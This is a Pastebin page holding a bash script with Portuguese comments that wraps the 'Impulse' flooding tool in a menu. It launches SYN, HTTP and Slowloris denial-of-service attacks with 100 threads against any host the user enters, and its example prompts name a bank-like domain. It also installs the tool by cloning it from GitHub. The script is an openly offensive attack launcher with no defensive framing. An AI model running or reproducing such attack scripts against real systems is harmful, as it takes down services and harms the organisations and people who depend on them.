Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Execucao do programa
- ip()
- {
- clear
- echo -e "\033[01;34m\n ----- Execucao ----- \n\033[01;37m"
- cd Impulse/
- echo -n -e "\033[01;35m\n # IP (192.168.0.100): \033[01;37m"
- read target
- # Comando
- clear
- python3 impulse.py --method SYN --target $target:80 --threads 100
- }
- syn()
- {
- clear
- echo -e "\033[01;34m\n ----- Execucao ----- \n\033[01;37m"
- cd Impulse/
- echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
- read target
- # Comando
- clear
- python3 impulse.py --method SYN --target $target --threads 100
- }
- http()
- {
- clear
- echo -e "\033[01;34m\n ----- Execucao ----- \n\033[01;37m"
- cd Impulse/
- echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
- read target
- # Comando
- clear
- python3 impulse.py --method HTTP --target $target --threads 100
- }
- slowLoris()
- {
- clear
- echo -e "\033[01;34m\n ----- Execucao ----- \n\033[01;37m"
- cd Impulse/
- echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
- read target
- # Comando
- clear
- python3 impulse.py --method SLOWLORIS --target $target --threads 100
- }
- # Instalacao do programa
- instalacao()
- {
- echo -e "\033[01;35m\n ----- Instalacao ----- \n\033[01;37m"
- # Estutura de decisao: Analisar se o arquivo existe
- if [[ -r Impulse ]]
- then
- echo -e "\033[01;33m\n # Diretorio existente \n\033[01;37m"
- else
- apt install python3 python3-pip git -y
- git clone https://github.com/LimerBoy/Impulse
- cd Impulse/
- pip3 install -r requirements.txt
- cd ../
- fi
- }
- clear
- echo -e "\033[01;34m --------------\033[01;37m"
- echo -e "\033[01;35m Impulse \033[01;37m"
- echo -e "\033[01;34m --------------\033[01;37m"
- echo ""
- echo -e "\033[01;35m [1] IP (rede interna) \033[01;37m"
- echo -e "\033[01;36m [2] SYN \033[01;37m"
- echo -e "\033[01;37m [3] HTTP \033[01;37m"
- echo -e "\033[01;31m [4] SlowLoris \033[01;37m"
- echo -e "\033[01;32m [5] Instalacao \033[01;37m"
- echo ""
- echo -e -n "\033[01;33m - Opc: \033[01;37m"
- read opc
- clear
- # Estrutura de escolha
- case $opc in
- 1) ip;;
- 2) syn;;
- 3) http;;
- 4) slowLoris;;
- 5) instalacao;;
- *) ;;
- esac
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement